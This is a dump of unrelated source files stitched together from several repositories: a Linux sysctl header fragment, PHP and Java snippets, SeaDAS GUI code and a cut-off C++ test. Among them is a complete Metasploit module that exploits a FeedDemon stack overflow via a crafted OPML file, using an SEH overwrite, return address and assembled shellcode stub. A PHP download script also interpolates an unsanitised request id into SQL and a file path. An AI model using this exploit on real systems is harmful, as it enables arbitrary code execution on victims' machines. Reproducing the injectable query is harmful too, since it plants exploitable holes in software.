NET_DECNET_CONF_GRE = - 6, NET_DECNET_CONF_ETHER = - 7 }; /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ enum { NET_DECNET_CONF_DEV_PRIORITY = 1, NET_DECNET_CONF_DEV_T1 = 2, NET_DECNET_CONF_DEV_T2 = 3, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_DECNET_CONF_DEV_T3 = 4, NET_DECNET_CONF_DEV_FORWARDING = 5, NET_DECNET_CONF_DEV_BLKSIZE = 6, NET_DECNET_CONF_DEV_STATE = 7 /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ }; enum { NET_SCTP_RTO_INITIAL = 1, NET_SCTP_RTO_MIN = 2, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_SCTP_RTO_MAX = 3, NET_SCTP_RTO_ALPHA = 4, NET_SCTP_RTO_BETA = 5, NET_SCTP_VALID_COOKIE_LIFE = 6, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_SCTP_ASSOCIATION_MAX_RETRANS = 7, NET_SCTP_PATH_MAX_RETRANS = 8, NET_SCTP_MAX_INIT_RETRANSMITS = 9, NET_SCTP_HB_INTERVAL = 10, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_SCTP_PRESERVE_ENABLE = 11, NET_SCTP_MAX_BURST = 12, NET_SCTP_ADDIP_ENABLE = 13, NET_SCTP_PRSCTP_ENABLE = 14, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_SCTP_SNDBUF_POLICY = 15, NET_SCTP_SACK_TIMEOUT = 16, NET_SCTP_RCVBUF_POLICY = 17, }; /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ enum { NET_BRIDGE_NF_CALL_ARPTABLES = 1, NET_BRIDGE_NF_CALL_IPTABLES = 2, NET_BRIDGE_NF_CALL_IP6TABLES = 3, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_BRIDGE_NF_FILTER_VLAN_TAGGED = 4, NET_BRIDGE_NF_FILTER_PPPOE_TAGGED = 5, }; enum { /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IRDA_DISCOVERY = 1, NET_IRDA_DEVNAME = 2, NET_IRDA_DEBUG = 3, NET_IRDA_FAST_POLL = 4, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IRDA_DISCOVERY_SLOTS = 5, NET_IRDA_DISCOVERY_TIMEOUT = 6, NET_IRDA_SLOT_TIMEOUT = 7, NET_IRDA_MAX_BAUD_RATE = 8, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IRDA_MIN_TX_TURN_TIME = 9, NET_IRDA_MAX_TX_DATA_SIZE = 10, NET_IRDA_MAX_TX_WINDOW = 11, NET_IRDA_MAX_NOREPLY_TIME = 12, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IRDA_WARN_NOREPLY_TIME = 13, NET_IRDA_LAP_KEEPALIVE_TIME = 14, }; enum { /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ FS_NRINODE = 1, FS_STATINODE = 2, FS_MAXINODE = 3, FS_NRDQUOT = 4, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ FS_MAXDQUOT = 5, FS_NRFILE = 6, FS_MAXFILE = 7, FS_DENTRY = 8, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ FS_NRSUPER = 9, FS_MAXSUPER = 10, FS_OVERFLOWUID = 11, FS_OVERFLOWGID = 12, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ FS_LEASES = 13, FS_DIR_NOTIFY = 14, FS_LEASE_TIME = 15, FS_DQSTATS = 16, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ FS_XFS = 17, FS_AIO_NR = 18, FS_AIO_MAX_NR = 19, FS_INOTIFY = 20, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ FS_OCFS2 = 988, }; enum { FS_DQ_LOOKUPS = 1, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ FS_DQ_DROPS = 2, FS_DQ_READS = 3, FS_DQ_WRITES = 4, FS_DQ_CACHE_HITS = 5, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ FS_DQ_ALLOCATED = 6, FS_DQ_FREE = 7, FS_DQ_SYNCS = 8, FS_DQ_WARNINGS = 9, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ }; enum { DEV_CDROM = 1, DEV_HWMON = 2, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ DEV_PARPORT = 3, DEV_RAID = 4, DEV_MAC_HID = 5, DEV_SCSI = 6, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ DEV_IPMI = 7, }; enum { DEV_CDROM_INFO = 1, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ DEV_CDROM_AUTOCLOSE = 2, DEV_CDROM_AUTOEJECT = 3, DEV_CDROM_DEBUG = 4, DEV_CDROM_LOCK = 5, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ DEV_CDROM_CHECK_MEDIA = 6 }; enum { DEV_PARPORT_DEFAULT = - 3 /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ }; enum { DEV_RAID_SPEED_LIMIT_MIN = 1, DEV_RAID_SPEED_LIMIT_MAX = 2 /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ }; enum { DEV_PARPORT_DEFAULT_TIMESLICE = 1, DEV_PARPORT_DEFAULT_SPINTIME = 2 /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ }; enum { DEV_PARPORT_SPINTIME = 1, DEV_PARPORT_BASE_ADDR = 2, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ DEV_PARPORT_IRQ = 3, DEV_PARPORT_DMA = 4, DEV_PARPORT_MODES = 5, DEV_PARPORT_DEVICES = 6, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ DEV_PARPORT_AUTOPROBE = 16 }; enum { DEV_PARPORT_DEVICES_ACTIVE = - 3, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ }; enum { DEV_PARPORT_DEVICE_TIMESLICE = 1, }; /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ enum { DEV_MAC_HID_KEYBOARD_SENDS_LINUX_KEYCODES = 1, DEV_MAC_HID_KEYBOARD_LOCK_KEYCODES = 2, DEV_MAC_HID_MOUSE_BUTTON_EMULATION = 3, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ DEV_MAC_HID_MOUSE_BUTTON2_KEYCODE = 4, DEV_MAC_HID_MOUSE_BUTTON3_KEYCODE = 5, DEV_MAC_HID_ADB_MOUSE_SENDS_KEYCODES = 6 }; /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ enum { DEV_SCSI_LOGGING_LEVEL = 1, }; enum { /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ DEV_IPMI_POWEROFF_POWERCYCLE = 1, }; enum { ABI_DEFHANDLER_COFF = 1, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ ABI_DEFHANDLER_ELF = 2, ABI_DEFHANDLER_LCALL7 = 3, ABI_DEFHANDLER_LIBCSO = 4, ABI_TRACE = 5, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ ABI_FAKE_UTSNAME = 6, }; #endif
wiki2014/Learning-Summary
alps/bionic/libc/kernel/uapi/linux/sysctl.h
C
gpl-3.0
34,822
<?php F::GetSubmit("id"); if($id) { $sql = "SELECT name FROM file_doc WHERE file_id = $id"; $name = $DB->GetOne($sql); $path = dirname($_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])."/root/".$id; // Force the download header('Cache-Control: private'); header('Pragma: private'); header("Cache-Control: no-cache, must-revalidate"); header("Content-Disposition: attachment; filename=\"".$name."\""); header("Content-Length: ".filesize($path)); header("Content-Type: application/application/octet-stream;"); //header("Content-Type: application/force-download"); //header('Content-Disposition: attachment; filename="'.$name.'"'); //header('Content-type: application/octet-stream'); //header("Content-Type: application/force-download"); @ readfile($path); } ?>
yoursun0/leave
Download.php
PHP
gpl-3.0
773
/* * To change this template, choose Tools | Templates * and open the template in the editor. */ package NetSpace; import java.lang.instrument.Instrumentation; /** * * @author ubuntu */ public class Main { /** * @param args the command line arguments */ public static void main(String[] args) { // TODO code application logic here NetSpace.client.LoginWindow Client = new NetSpace.client.LoginWindow(1501); Client.setVisible(true); } }
A-Malone/net-space
src/NetSpace/Main.java
Java
gpl-3.0
502
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'FeedDemon Stack Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application is used to import a specially crafted opml file, a buffer overflow occurs allowing arbitrary code execution. All versions are suspected to be vulnerable. This vulnerability was originally reported against version 2.7 in February of 2009. }, 'License' => MSF_LICENSE, 'Author' => [ 'fl0 fl0w', # Original Exploit 'dookie', # MSF Module 'jduck' # SEH + AlphanumMixed fixes ], 'References' => [ [ 'CVE', '2009-0546' ], [ 'OSVDB', '51753' ], [ 'BID', '33630' ], [ 'EDB', '7995' ], [ 'EDB', '8010' ], [ 'EDB', '11379' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x0a\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xff", 'DisableNops' => true, # We are not strictly limited to alphanumeric. However, currently # no encoder can handle our bad character set. 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'ECX', }, }, 'Platform' => 'win', 'Targets' => [ # Tested OK on XPSP3 - jduck [ 'Windows Universal', { 'Ret' => 0x00501655 # p/p/r in FeedDemon.exe v3.1.0.12 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Feb 09 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.opml']), ], self.class) end def exploit head_opml = '<opml version="1.1">' head_opml << '<body>' head_opml << '<outline text="' header = "\xff\xfe" # Unicode BOM header << Rex::Text.to_unicode(head_opml) foot_opml = '">' foot_opml << '<outline text="BKIS" title="SVRT" type="rss" xmlUrl="http://milw0rm.com/rss.php"/>' foot_opml << '</outline>' foot_opml << '</body>' foot_opml << '</opml>' footer = Rex::Text.to_unicode(foot_opml) # Set ECX to point to the alphamixed encoded buffer (IIIII...) # We use, while avoiding bad chars, an offset from SEH ptr stored on the stack at esp+8 off = 0x1ff2 set_ecx_asm = %Q| mov ecx, [esp+8] sub ecx, #{0x01010101 + off} add ecx, 0x01010101 | set_ecx = Metasm::Shellcode.assemble(Metasm::Ia32.new, set_ecx_asm).encode_string # Jump back to the payload, after p/p/r jumps to us. # NOTE: Putting the jmp_back after the SEH handler seems to avoid problems with badchars.. # 8 for SEH.Next+SEH.Func, 5 for the jmp_back itself distance = 0x1ffd + 8 + 5 jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string # SEH seh_frame = generate_seh_record(target.ret) # Assemble everything together sploit = '' sploit << set_ecx sploit << payload.encoded sploit << rand_text_alphanumeric(8194 - sploit.length) sploit << seh_frame sploit << jmp_back sploit << rand_text_alphanumeric(8318 - sploit.length) # Ensure access violation reading from smashed pointer num = rand_text(4).unpack('V')[0] sploit << [num | 0x80000000].pack('V') evil = header + sploit + footer print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(evil) end end
cSploit/android.MSF
modules/exploits/windows/fileformat/feeddemon_opml.rb
Ruby
gpl-3.0
4,129
<?php require 'includes/functions.php'; include_once 'config.php'; $companyName = $_POST['companyName']; $latitude = $_POST['latitude']; $longitude = $_POST['longitude']; $address = $_POST['address']; $yearOfExistance = $_POST['yearOfExistance']; $insertCompany = new InsertCost; $response = $insertCompany->putCompany ($companyName, $latitude, $longitude, $address, $yearOfExistance); if ($response == 'true') { echo "inserted"; } else { //Failure mySqlErrors($response); } ?>
sudikrt/cost_prediction
login/insertCompany.php
PHP
gpl-3.0
569
package gov.nasa.gsfc.seadas.processing.common; import com.bc.ceres.core.CoreException; import com.bc.ceres.core.ProgressMonitor; import com.bc.ceres.core.runtime.ConfigurationElement; import com.bc.ceres.core.runtime.RuntimeContext; import com.bc.ceres.swing.progress.ProgressMonitorSwingWorker; import gov.nasa.gsfc.seadas.OCSSWInfo; import gov.nasa.gsfc.seadas.ProcessorTypeInfo; import gov.nasa.gsfc.seadas.ocssw.OCSSW; import gov.nasa.gsfc.seadas.processing.core.L2genData; import gov.nasa.gsfc.seadas.processing.core.ParamUtils; import gov.nasa.gsfc.seadas.processing.core.ProcessObserver; import gov.nasa.gsfc.seadas.processing.core.ProcessorModel; import org.esa.beam.framework.dataio.ProductIO; import org.esa.beam.framework.ui.AppContext; import org.esa.beam.framework.ui.ModalDialog; import org.esa.beam.framework.ui.UIUtils; import org.esa.beam.framework.ui.command.CommandEvent; import org.esa.beam.framework.ui.command.CommandManager; import org.esa.beam.visat.VisatApp; import org.esa.beam.visat.actions.AbstractVisatAction; import javax.swing.*; import java.awt.*; import java.beans.PropertyChangeEvent; import java.beans.PropertyChangeListener; import java.io.File; import java.io.IOException; import java.util.Arrays; import java.util.StringTokenizer; import java.util.concurrent.ExecutionException; import java.util.regex.Matcher; import java.util.regex.Pattern; import static gov.nasa.gsfc.seadas.ocssw.OCSSW.UPDATE_LUTS_PROGRAM_NAME; import static org.esa.beam.util.SystemUtils.getApplicationContextId; /** * @author Norman Fomferra * @author Aynur Abdurazik * @since SeaDAS 7.0 */ public class CallCloProgramAction extends AbstractVisatAction { public static final String CONTEXT_LOG_LEVEL_PROPERTY = getApplicationContextId() + ".logLevel"; public static final String LOG_LEVEL_PROPERTY = "logLevel"; private static final Pattern PATTERN = Pattern.compile("^(([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.){3}([01]?\\d\\d?|2[0-4]\\d|25[0-5])$"); private String programName; private String dialogTitle; private String xmlFileName; private boolean printLogToConsole = false; private boolean openOutputInApp = true; protected OCSSW ocssw; protected OCSSWInfo ocsswInfo = OCSSWInfo.getInstance(); @Override public void configure(ConfigurationElement config) throws CoreException { programName = getConfigString(config, "programName"); if (programName == null) { throw new CoreException("Missing DefaultOperatorAction property 'programName'."); } dialogTitle = getValue(config, "dialogTitle", programName); xmlFileName = getValue(config, "xmlFileName", ParamUtils.NO_XML_FILE_SPECIFIED); super.configure(config); //super.setEnabled(programName.equals(OCSSWInfo.OCSSW_INSTALLER_PROGRAM_NAME) || ocsswInfo.isOCSSWExist()); } public String getXmlFileName() { return xmlFileName; } public CloProgramUI getProgramUI(AppContext appContext) { if (programName.indexOf("extract") != -1) { return new ExtractorUI(programName, xmlFileName, ocssw); } else if (programName.indexOf("modis_GEO") != -1 || programName.indexOf("modis_L1B") != -1) { return new ModisGEO_L1B_UI(programName, xmlFileName, ocssw); } else if (programName.indexOf(ocsswInfo.OCSSW_INSTALLER_PROGRAM_NAME) != -1) { ocssw.downloadOCSSWInstaller(); if (!ocssw.isOcsswInstalScriptDownloadSuccessful()) { return null; } if (ocsswInfo.getOcsswLocation().equals(OCSSWInfo.OCSSW_LOCATION_LOCAL)) { return new OCSSWInstallerFormLocal(appContext, programName, xmlFileName, ocssw); } else { return new OCSSWInstallerFormRemote(appContext, programName, xmlFileName, ocssw); } }else if ( programName.indexOf("update_luts.py") != -1 ) { return new UpdateLutsUI(programName, xmlFileName, ocssw); } return new ProgramUIFactory(programName, xmlFileName, ocssw);//, multiIFile); } public static boolean validate(final String ip) { return PATTERN.matcher(ip).matches(); } public void initializeOcsswClient() { ocssw = OCSSW.getOCSSWInstance(); ocssw.setProgramName(programName); } @Override public void actionPerformed(CommandEvent event) { SeadasLogger.initLogger("ProcessingGUI_log_" + System.getProperty("user.name"), printLogToConsole); SeadasLogger.getLogger().setLevel(SeadasLogger.convertStringToLogger(RuntimeContext.getConfig().getContextProperty(LOG_LEVEL_PROPERTY, "OFF"))); initializeOcsswClient(); final AppContext appContext = getAppContext(); final CloProgramUI cloProgramUI = getProgramUI(appContext); if (cloProgramUI == null) { return; } final Window parent = appContext.getApplicationWindow(); final ModalDialog modalDialog = new ModalDialog(parent, dialogTitle, cloProgramUI, ModalDialog.ID_OK_APPLY_CANCEL_HELP, programName); modalDialog.getButton(ModalDialog.ID_OK).setEnabled(cloProgramUI.getProcessorModel().isReadyToRun()); modalDialog.getJDialog().setMaximumSize(modalDialog.getJDialog().getPreferredSize()); cloProgramUI.getProcessorModel().addPropertyChangeListener(cloProgramUI.getProcessorModel().getRunButtonPropertyName(), new PropertyChangeListener() { @Override public void propertyChange(PropertyChangeEvent propertyChangeEvent) { if (cloProgramUI.getProcessorModel().isReadyToRun()) { modalDialog.getButton(ModalDialog.ID_OK).setEnabled(true); } else { modalDialog.getButton(ModalDialog.ID_OK).setEnabled(false); } modalDialog.getJDialog().pack(); } }); cloProgramUI.getProcessorModel().addPropertyChangeListener("geofile", new PropertyChangeListener() { @Override public void propertyChange(PropertyChangeEvent propertyChangeEvent) { modalDialog.getJDialog().validate(); modalDialog.getJDialog().pack(); } }); cloProgramUI.getProcessorModel().addPropertyChangeListener("infile", new PropertyChangeListener() { @Override public void propertyChange(PropertyChangeEvent propertyChangeEvent) { modalDialog.getJDialog().validate(); modalDialog.getJDialog().pack(); } }); modalDialog.getButton(ModalDialog.ID_OK).setText("Run"); modalDialog.getButton(ModalDialog.ID_HELP).setText(""); modalDialog.getButton(ModalDialog.ID_HELP).setIcon(UIUtils.loadImageIcon("icons/Help24.gif")); //Make sure program is only executed when the "run" button is clicked. ((JButton) modalDialog.getButton(ModalDialog.ID_OK)).setDefaultCapable(false); modalDialog.getJDialog().getRootPane().setDefaultButton(null); final int dialogResult = modalDialog.show(); SeadasLogger.getLogger().info("dialog result: " + dialogResult); if (dialogResult != ModalDialog.ID_OK) { cloProgramUI.getProcessorModel().getParamList().clearPropertyChangeSupport(); cloProgramUI.getProcessorModel().fireEvent(L2genData.CANCEL); return; } modalDialog.getButton(ModalDialog.ID_OK).setEnabled(false); final ProcessorModel processorModel = cloProgramUI.getProcessorModel(); programName = processorModel.getProgramName(); openOutputInApp = cloProgramUI.isOpenOutputInApp(); if (!ocssw.isProgramValid()) { return; } if (programName.equals(ocsswInfo.OCSSW_INSTALLER_PROGRAM_NAME) && !ocssw.isOcsswInstalScriptDownloadSuccessful()) { displayMessage(programName, "ocssw installation script does not exist." + "\n" + "Please check network connection and rerun ''Install Processor''"); return; } if (programName.equals(UPDATE_LUTS_PROGRAM_NAME)) { String message = ocssw.executeUpdateLuts(processorModel); VisatApp.getApp().showInfoDialog(dialogTitle, message, null); } else { executeProgram(processorModel); } SeadasLogger.deleteLoggerOnExit(true); cloProgramUI.getProcessorModel().fireEvent(L2genData.CANCEL); } /** * @param pm is the model of the ocssw program to be exeuted * @output this is executed as a native process */ public void executeProgram(ProcessorModel pm) { final ProcessorModel processorModel = pm; ProgressMonitorSwingWorker swingWorker = new ProgressMonitorSwingWorker<String, Object>(getAppContext().getApplicationWindow(), "Running " + programName + " ...") { @Override protected String doInBackground(ProgressMonitor pm) throws Exception { ocssw.setMonitorProgress(true); final Process process = ocssw.execute(processorModel);//ocssw.execute(processorModel.getParamList()); //OCSSWRunnerOld.execute(processorModel); if (process == null) { throw new IOException(programName + " failed to create process."); } final ProcessObserver processObserver = ocssw.getOCSSWProcessObserver(process, programName, pm); final ConsoleHandler ch = new ConsoleHandler(programName); if (programName.equals(ocsswInfo.OCSSW_INSTALLER_PROGRAM_NAME)) { processObserver.addHandler(new InstallerHandler(programName, processorModel.getProgressPattern())); } else { processObserver.addHandler(new ProgressHandler(programName, processorModel.getProgressPattern())); } processObserver.addHandler(ch); processObserver.startAndWait(); processorModel.setExecutionLogMessage(ch.getExecutionErrorLog()); int exitCode = processObserver.getProcessExitValue(); if (exitCode == 0) { pm.done(); String logDir = ocsswInfo.getLogDirPath(); SeadasFileUtils.writeToDisk(logDir + File.separator + "OCSSW_LOG_" + programName + ".txt", "Execution log for " + "\n" + Arrays.toString(ocssw.getCommandArray()) + "\n" + processorModel.getExecutionLogMessage()); } else { throw new IOException(programName + " failed with exit code " + exitCode + ".\nCheck log for more details."); } ocssw.setMonitorProgress(false); return processorModel.getOfileName(); } @Override protected void done() { try { final String outputFileName = get(); ocssw.getOutputFiles(processorModel); displayOutput(processorModel); VisatApp.getApp().showInfoDialog(dialogTitle, "Program execution completed!\n" + ((outputFileName == null) ? "" : (programName.equals(ocsswInfo.OCSSW_INSTALLER_PROGRAM_NAME) ? "" : ("Output written to:\n" + outputFileName))), null); if (programName.equals(ocsswInfo.OCSSW_INSTALLER_PROGRAM_NAME) && ocsswInfo.getOcsswLocation().equals(OCSSWInfo.OCSSW_LOCATION_LOCAL)) { ocssw.updateOCSSWRoot(processorModel.getParamValue("--install-dir")); if (!ocssw.isOCSSWExist()) { enableProcessors(); } } if (programName.equals(ocsswInfo.OCSSW_INSTALLER_PROGRAM_NAME)) { ocssw.updateOCSSWProgramXMLFiles(); ocssw.updateL2genProductInfoXMLFiles(); } ProcessorModel secondaryProcessor = processorModel.getSecondaryProcessor(); if (secondaryProcessor != null) { ocssw.setIfileName(secondaryProcessor.getParamValue(secondaryProcessor.getPrimaryInputFileOptionName())); int exitCode = ocssw.execute(secondaryProcessor.getParamList()).exitValue(); if (exitCode == 0) { VisatApp.getApp().showInfoDialog(secondaryProcessor.getProgramName(), secondaryProcessor.getProgramName() + " done!\n", null); } } } catch (InterruptedException e) { e.printStackTrace(); } catch (ExecutionException e) { displayMessage(programName, "execution exception: " + e.getMessage() + "\n" + processorModel.getExecutionLogMessage()); e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } } }; swingWorker.execute(); } void displayOutput(ProcessorModel processorModel) throws Exception { String ofileName = processorModel.getOfileName(); if (openOutputInApp) { File ifileDir = processorModel.getIFileDir(); StringTokenizer st = new StringTokenizer(ofileName); while (st.hasMoreTokens()) { File ofile = SeadasFileUtils.createFile(ocssw.getOfileDir(), st.nextToken()); getAppContext().getProductManager().addProduct(ProductIO.readProduct(ofile)); } } } private void enableProcessors() { CommandManager commandManager = getAppContext().getApplicationPage().getCommandManager(); String namesToExclude = ProcessorTypeInfo.getExcludedProcessorNames(); for (String processorName : ProcessorTypeInfo.getProcessorNames()) { if (!namesToExclude.contains(processorName)) { if (commandManager.getCommand(processorName) != null) { commandManager.getCommand(processorName).setEnabled(true); } } } commandManager.getCommand("install_ocssw.py").setText("Update Data Processors"); } private void displayMessage(String programName, String message) { ScrolledPane messagePane = new ScrolledPane(programName, message, this.getAppContext().getApplicationWindow()); messagePane.setVisible(true); } /** * Handler that tries to extract progress from stdout of ocssw processor */ public static class ProgressHandler implements ProcessObserver.Handler { private boolean progressSeen; private boolean stdoutOn; private int lastScan = 0; private String programName; private Pattern progressPattern; protected String currentText = "Part 1 - "; public ProgressHandler(String programName, Pattern progressPattern) { this.programName = programName; this.progressPattern = progressPattern; } @Override public void handleLineOnStdoutRead(String line, Process process, ProgressMonitor progressMonitor) { stdoutOn = true; if (!progressSeen) { progressSeen = true; progressMonitor.beginTask(programName, 1000); } Matcher matcher = progressPattern.matcher(line); if (matcher.find()) { int scan = Integer.parseInt(matcher.group(1)); int numScans = Integer.parseInt(matcher.group(2)); scan = (scan * 1000) / numScans; progressMonitor.worked(scan - lastScan); lastScan = scan; currentText = line; } progressMonitor.setTaskName(programName); progressMonitor.setSubTaskName(line); } @Override public void handleLineOnStderrRead(String line, Process process, ProgressMonitor progressMonitor) { if( !stdoutOn ) { if (!progressSeen) { progressSeen = true; progressMonitor.beginTask(programName, 1000); } Matcher matcher = progressPattern.matcher(line); if (matcher.find()) { int scan = Integer.parseInt(matcher.group(1)); int numScans = Integer.parseInt(matcher.group(2)); scan = (scan * 1000) / numScans; progressMonitor.worked(scan - lastScan); lastScan = scan; currentText = line; } progressMonitor.setTaskName(programName); progressMonitor.setSubTaskName(line); } } } public static class ConsoleHandler implements ProcessObserver.Handler { String programName; private String executionErrorLog = ""; public ConsoleHandler(String programName) { this.programName = programName; } @Override public void handleLineOnStdoutRead(String line, Process process, ProgressMonitor progressMonitor) { SeadasLogger.getLogger().info(programName + ": " + line); executionErrorLog = executionErrorLog + line + "\n"; } @Override public void handleLineOnStderrRead(String line, Process process, ProgressMonitor progressMonitor) { SeadasLogger.getLogger().info(programName + " stderr: " + line); executionErrorLog = executionErrorLog + line + "\n"; } public String getExecutionErrorLog() { return executionErrorLog; } } private static class TerminationHandler implements ProcessObserver.Handler { @Override public void handleLineOnStdoutRead(String line, Process process, ProgressMonitor progressMonitor) { if (progressMonitor.isCanceled()) { process.destroy(); } } @Override public void handleLineOnStderrRead(String line, Process process, ProgressMonitor progressMonitor) { if (progressMonitor.isCanceled()) { process.destroy(); } } } /** * Handler that tries to extract progress from stderr of ocssw_installer.py */ public static class InstallerHandler extends ProgressHandler { public InstallerHandler(String programName, Pattern progressPattern) { super(programName, progressPattern); } @Override public void handleLineOnStderrRead(String line, Process process, ProgressMonitor progressMonitor) { int len = line.length(); if (len > 70) { String[] parts = line.trim().split("\\s+", 2); try { int percent = Integer.parseInt(parts[0]); progressMonitor.setSubTaskName(currentText + " - " + parts[0] + "%"); } catch (Exception e) { progressMonitor.setSubTaskName(line); } } else { progressMonitor.setSubTaskName(line); } } } private class ScrolledPane extends JFrame { private JScrollPane scrollPane; public ScrolledPane(String programName, String message, Window window) { setTitle(programName); setSize(500, 500); setBackground(Color.gray); setLocationRelativeTo(window); JPanel topPanel = new JPanel(); topPanel.setLayout(new BorderLayout()); getContentPane().add(topPanel); JTextArea text = new JTextArea(message); scrollPane = new JScrollPane(); scrollPane.getViewport().add(text); topPanel.add(scrollPane, BorderLayout.CENTER); } } }
seadas/seadas
seadas-processing/src/main/java/gov/nasa/gsfc/seadas/processing/common/CallCloProgramAction.java
Java
gpl-3.0
20,043
/* * STaRS, Scalable Task Routing approach to distributed Scheduling * Copyright (C) 2012 Javier Celaya * * This file is part of STaRS. * * STaRS is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * STaRS is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with STaRS; if not, see <http://www.gnu.org/licenses/>. */ #define BOOST_TEST_DYN_LINK #include <boost/test/unit_test_log.hpp> #include <boost/filesystem/fstream.hpp> #include <map> #include <vector> #include <log4cpp/Category.hh> #include <log4cpp/Priority.hh> #include <log4cpp/PatternLayout.hh> #include <log4cpp/LayoutAppender.hh> #include <boost/test/unit_test.hpp> #include <boost/bind.hpp> #include <boost/thread.hpp> #include <sstream> #include "Time.hpp" #include "TestHost.hpp" #include "Scheduler.hpp" #include "Logger.hpp" #include "util/SignalException.hpp" using log4cpp::Category; using log4cpp::Priority; using std::shared_ptr; const boost::posix_time::ptime TestHost::referenceTime = boost::posix_time::ptime(boost::gregorian::date(2000, boost::gregorian::Jan, 1), boost::posix_time::seconds(0)); Time Time::getCurrentTime() { return TestHost::getInstance().getCurrentTime(); } CommLayer & CommLayer::getInstance() { shared_ptr<CommLayer> & current = TestHost::getInstance().getCommLayer(); if (!current.get()) { current.reset(new CommLayer); // Make io_service thread use same singleton instance //current->nm->io.dispatch(setInstance); } return *current; } ConfigurationManager & ConfigurationManager::getInstance() { shared_ptr<ConfigurationManager> & current = TestHost::getInstance().getConfigurationManager(); if (!current.get()) { current.reset(new ConfigurationManager); // Set the working path current->setWorkingPath(current->getWorkingPath() / "share/test"); // Set the memory database current->setDatabasePath(boost::filesystem::path(":memory:")); } return *current; } // Print log messages through BOOST_TEST_MESSAGE class TestAppender : public log4cpp::LayoutAppender { public: TestAppender(const std::string & name) : log4cpp::LayoutAppender(name) {} void close() {} // 